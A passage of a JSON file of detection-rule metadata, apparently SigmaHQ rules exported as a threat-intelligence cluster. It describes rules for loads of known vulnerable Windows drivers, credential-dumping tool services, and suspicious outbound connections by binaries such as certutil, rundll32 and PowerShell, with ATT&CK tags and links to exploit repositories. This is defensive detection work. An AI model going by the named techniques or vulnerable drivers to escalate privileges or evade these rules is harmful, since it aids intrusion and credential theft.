actors", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/18", "falsepositive": [ "Unlikely" ], "filename": "driver_load_win_vuln_hevd_driver.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://github.com/hacksysteam/HackSysExtremeVulnerableDriver", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_hevd_driver.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "295c9289-acee-4503-a571-8eacaef36b28", "value": "Vulnerable HackSys Extreme Vulnerable Driver Load" }, { "description": "Detects the load of known vulnerable drivers via their names only.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/03", "falsepositive": [ "False positives may occure if one of the vulnerable driver names mentioned above didn't change it's name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", "If you experience a lot of FP you could comment the driver name or it's exact known legitimate location (when possible)" ], "filename": "driver_load_win_vuln_drivers_names.yml", "level": "medium", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://github.com/jbaines-r7/dellicious", "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://github.com/Chigusa0w0/AsusDriversPrivEscala", "https://github.com/CaledoniaProject/drivers-binaries", "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37969", "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", "https://eclypsium.com/2019/11/12/mother-of-all-drivers/", "https://github.com/namazso/physmem_drivers", "https://github.com/stong/CVE-2020-15368", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_drivers_names.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c316eac1-f3d8-42da-ad1c-66dcec5ca787", "value": "Vulnerable Driver Load By Name" }, { "description": "Detects powershell script installed as a Service", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/06", "falsepositive": [ "Unknown" ], "filename": "driver_load_win_powershell_script_installed_as_service.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_powershell_script_installed_as_service.yml" ], "tags": [ "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "46deb5e1-28c9-4905-b2df-51cdcc9e6073", "value": "PowerShell Scripts Run by a Services" }, { "description": "Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation", "meta": { "author": "Florian Roth", "creation_date": "2022/07/26", "falsepositive": [ "Unknown" ], "filename": "driver_load_win_vuln_winring0_driver.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", "https://github.com/xmrig/xmrig/tree/master/bin/WinRing0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_winring0_driver.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "1a42dfa6-6cb2-4df9-9b48-295be477e835", "value": "Vulnerable WinRing0 Driver Load" }, { "description": "Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows", "meta": { "author": "Florian Roth", "creation_date": "2021/07/30", "falsepositive": [ "Legitimate WinDivert driver usage" ], "filename": "driver_load_win_windivert.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://reqrypt.org/windivert-doc.html", "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_windivert.yml" ], "tags": [ "attack.collection", "attack.defense_evasion", "attack.t1599.001", "attack.t1557.001" ] }, "related": [ { "dest-uuid": "4ffc1794-ec3b-45be-9e52-42dbcb2af2de", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "679085d5-f427-4484-9f58-1dc30a7c426d", "value": "WinDivert Driver Load" }, { "description": "Detects the load of known vulnerable drivers by hash value", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/18", "falsepositive": [ "Unknown" ], "filename": "driver_load_win_vuln_drivers.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://github.com/jbaines-r7/dellicious", "https://github.com/tandasat/ExploitCapcom", "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/", "https://github.com/CaledoniaProject/drivers-binaries", "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/DRIVER7.md", "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", "https://www.unknowncheats.me/forum/downloads.php?do=file&id=25444", "https://www.unknowncheats.me/forum/downloads.php?do=file&id=21780", "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html", "https://github.com/namazso/physmem_drivers", "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md", "https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part", "https://github.com/stong/CVE-2020-15368", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_drivers.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7aaaf4b8-e47c-4295-92ee-6ed40a6f60c8", "value": "Vulnerable Driver Load" }, { "description": "Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551", "meta": { "author": "Florian Roth", "creation_date": "2021/05/05", "falsepositive": [ "Legitimate BIOS driver updates (should be rare)" ], "filename": "driver_load_win_vuln_dell_driver.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_dell_driver.yml" ], "tags": [ "attack.privilege_escalation", "cve.2021.21551", "attack.t1543", "attack.t1068" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "21b23707-60d6-41bb-96e3-0f0481b0fed9", "value": "Vulnerable Dell BIOS Update Driver Load" }, { "description": "Detects well-known credential dumping tools execution via service execution events", "meta": { "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", "creation_date": "2017/03/05", "falsepositive": [ "Legitimate Administrator using credential dumping tool for password recovery" ], "filename": "driver_load_win_mal_creddumper.yml", "level": "critical", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_creddumper.yml" ], "tags": [ "attack.credential_access", "attack.execution", "attack.t1003.001", "attack.t1003.002", "attack.t1003.004", "attack.t1003.005", "attack.t1003.006", "attack.t1569.002", "attack.s0005" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "df5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2", "value": "Credential Dumping Tools Service Execution" }, { "description": "Detects the load of drivers used by Process Hacker and System Informer", "meta": { "author": "Florian Roth", "creation_date": "2022/11/16", "falsepositive": [ "Legitimate user of process hacker or system informer by low level developers or system administrators" ], "filename": "driver_load_win_process_hacker.yml", "level": "medium", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://systeminformer.sourceforge.io/", "https://processhacker.sourceforge.io/", "https://github.com/winsiderss/systeminformer", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_process_hacker.yml" ], "tags": [ "attack.privilege_escalation", "cve.2021.21551", "attack.t1543" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "67add051-9ee7-4ad3-93ba-42935615ae8d", "value": "Process Hacker and System Informer Driver Load" }, { "description": "Detects the load of a legitimate signed driver named HW.sys by often used by threat actors or malware for privilege escalation", "meta": { "author": "Florian Roth", "creation_date": "2022/07/26", "falsepositive": [ "Unknown" ], "filename": "driver_load_win_vuln_hw_driver.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details", "https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_hw_driver.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "9bacc538-d1b9-4d42-862e-469eafc05a41", "value": "Vulnerable HW Driver Load" }, { "description": "Detects the load of the vulnerable Lenovo driver as reported in CVE-2022-3699 which can be used to escalate privileges", "meta": { "author": "Florian Roth", "creation_date": "2022/11/10", "falsepositive": [ "Legitimate driver loads (old driver that didn't receive an update)" ], "filename": "driver_load_win_vuln_lenovo_driver.yml", "level": "high", "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ "https://github.com/alfarom256/CVE-2022-3699/", "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_lenovo_driver.yml" ], "tags": [ "attack.privilege_escalation", "cve.2021.21551", "attack.t1543" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ac683a42-877b-4ff8-91ac-69e94b0f70b4", "value": "Vulnerable Lenovo Driver Load" }, { "description": "Detects a Powershell process that opens network connections - check for suspicious target ports and target systems - adjust to your environment (e.g. extend filters with company's ip range')", "meta": { "author": "Florian Roth", "creation_date": "2017/03/13", "falsepositive": [ "Administrative scripts", "Microsoft IP range" ], "filename": "net_connection_win_powershell_network_connection.yml", "level": "low", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://www.youtube.com/watch?v=DLtJTxMWZ2o", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1f21ec3f-810d-4b0e-8045-322202e22b4b", "value": "PowerShell Network Connections" }, { "description": "Detects an executable in the Windows folder accessing github.com", "meta": { "author": "Michael Haag (idea), Florian Roth (rule)", "creation_date": "2017/08/24", "falsepositive": [ "Unknown", "@subTee in your network" ], "filename": "net_connection_win_binary_github_com.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://twitter.com/M_haggis/status/900741347035889665", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", "https://twitter.com/M_haggis/status/1032799638213066752", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_github_com.yml" ], "tags": [ "attack.lateral_movement", "attack.t1105", "attack.exfiltration", "attack.t1567.001" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "635dbb88-67b3-4b41-9ea5-a3af2dd88153", "value": "Microsoft Binary Github Communication" }, { "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", "meta": { "author": "frack113", "creation_date": "2021/12/10", "falsepositive": [ "Legitimate python script" ], "filename": "net_connection_win_python.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://pypi.org/project/scapy/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml" ], "tags": [ "attack.discovery", "attack.t1046" ] }, "uuid": "bef0bc5a-b9ae-425d-85c6-7b2d705980c6", "value": "Python Initiated Connection" }, { "description": "Detects suspicious network connection by Notepad", "meta": { "author": "EagleEye Team", "creation_date": "2020/05/14", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_notepad_network_connection.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf", "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml" ], "tags": [ "attack.command_and_control", "attack.execution", "attack.defense_evasion", "attack.t1055" ] }, "uuid": "e81528db-fc02-45e8-8e98-4e84aba1f10b", "value": "Notepad Making Network Connection" }, { "description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.", "meta": { "author": "Sorina Ionescu", "creation_date": "2022/08/17", "falsepositive": [ "One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender." ], "filename": "net_connection_win_dead_drop_resolvers.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html", "https://content.fireeye.com/apt-41/rpt-apt41", "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dead_drop_resolvers.yml" ], "tags": [ "attack.command_and_control", "attack.t1102", "attack.t1102.001" ] }, "related": [ { "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "297ae038-edc2-4b2e-bb3e-7c5fc94dd5c7", "value": "Dead Drop Resolvers" }, { "description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/08/28", "falsepositive": [ "Legitimate scripts" ], "filename": "net_connection_win_script_wan.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script_wan.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "992a6cae-db6a-43c8-9cec-76d7195c96fc", "value": "Script Initiated Connection to Non-Local Network" }, { "description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters", "meta": { "author": "Florian Roth", "creation_date": "2022/07/03", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_susp_binary_no_cmdline.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/raspberry-robin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "20384606-a124-4fec-acbb-8bd373728613", "value": "Suspicious Network Connection Binary No CommandLine" }, { "description": "Detects network connections made by the \"hh.exe\" process, which could indicate the execution/download of remotely hosted .chm files", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/05", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_hh.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.001" ] }, "related": [ { "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "468a8cea-2920-4909-a593-0cbe1d96674a", "value": "HH.EXE Network Connections" }, { "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making a network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/12", "falsepositive": [ "Legitimate use of wuauclt.exe over the network." ], "filename": "net_connection_win_wuauclt_network_connection.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://dtm.uk/wuauclt/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c649a6c7-cd8c-4a78-9c04-000fc76df954", "value": "Wuauclt Network Connection" }, { "description": "Detects a rundll32 that communicates with public IP addresses", "meta": { "author": "Florian Roth", "creation_date": "2017/11/04", "falsepositive": [ "Communication to other corporate systems that use IP addresses from public address spaces" ], "filename": "net_connection_win_rundll32_net_connections.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011", "attack.execution" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cdc8da7d-c303-42f8-b08c-b4ab47230263", "value": "Rundll32 Internet Connection" }, { "description": "Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement", "meta": { "author": "Markus Neis", "creation_date": "2019/05/15", "falsepositive": [ "Other Remote Desktop RDP tools", "Domain controller using dns.exe" ], "filename": "net_connection_win_susp_rdp.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_rdp.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.001", "car.2013-07-002" ] }, "uuid": "ed74fe75-7594-4b4b-ae38-e38e3fd2eb23", "value": "Suspicious Outbound RDP Connections" }, { "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", "meta": { "author": "Dmitriy Lifanov, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_regsvr32_network_activity.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml" ], "tags": [ "attack.execution", "attack.t1559.001", "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c7e91a02-d771-4a6d-a700-42587e0b1095", "value": "Regsvr32 Network Activity" }, { "description": "Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2019/09/12", "falsepositive": [ "Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.", "Network Service user name of a not-covered localization" ], "filename": "net_connection_win_remote_powershell_session_network.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_remote_powershell_session_network.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.lateral_movement", "attack.t1021.006" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c539afac-c12a-46ed-b1bd-5a5567c9f045", "value": "Remote PowerShell Session (Network)" }, { "description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", "meta": { "author": "elhoim", "creation_date": "2022/04/28", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_susp_outbound_mobsync_connection.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/intelligence-insights-november-2021/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_mobsync_connection.yml" ], "tags": [ "attack.t1055", "attack.t1218", "attack.execution", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9f2cc74d-78af-4eb2-bb64-9cd1d292b87b", "value": "Microsoft Sync Center Suspicious Network Connections" }, { "description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443", "meta": { "author": "Florian Roth", "creation_date": "2022/04/29", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_rdp_to_http.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling", "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml" ], "tags": [ "attack.command_and_control", "attack.t1572", "attack.lateral_movement", "attack.t1021.001", "car.2013-07-002" ] }, "related": [ { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b1e5da3b-ca8e-4adf-915c-9921f3d85481", "value": "RDP to HTTP or HTTPS Target Ports" }, { "description": "Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292.\nYou will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.\n", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0\", Tim Shelton", "creation_date": "2021/11/10", "falsepositive": [ "You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.", "Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.", "It is highly recommended to baseline your activity and tune out common business use cases." ], "filename": "net_connection_win_excel_outbound_network_connection.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://corelight.com/blog/detecting-cve-2021-42292", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml" ], "tags": [ "attack.execution", "attack.t1203" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "75e33ce3-ae32-4dcc-9aa8-a2a3029d6f84", "value": "Excel Network Connections" }, { "description": "Detects a network connection intitiated by the certutil.exe tool. Attackers can abuse `certutil.exe` to download malware or offensive security tools.", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/09/02", "falsepositive": [ "Legitimate certutil network connection" ], "filename": "net_connection_win_certutil.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0dba975d-a193-4ed1-a067-424df57570d1", "value": "Certutil Initiated Connection" }, { "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", "meta": { "author": "frack113", "creation_date": "2022/01/07", "falsepositive": [ "Other SMTP tools" ], "filename": "net_connection_win_susp_outbound_smtp_connections.yml", "level": "medium", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", "https://www.ietf.org/rfc/rfc2821.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml" ], "tags": [ "attack.exfiltration", "attack.t1048.003" ] }, "related": [ { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9976fa64-2804-423c-8a5b-646ade840773", "value": "Suspicious Outbound SMTP Connections" }, { "description": "Detects an executable in the Windows folder accessing suspicious domains", "meta": { "author": "Florian Roth", "creation_date": "2018/08/30", "falsepositive": [ "Unknown" ], "filename": "net_connection_win_binary_susp_com.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ 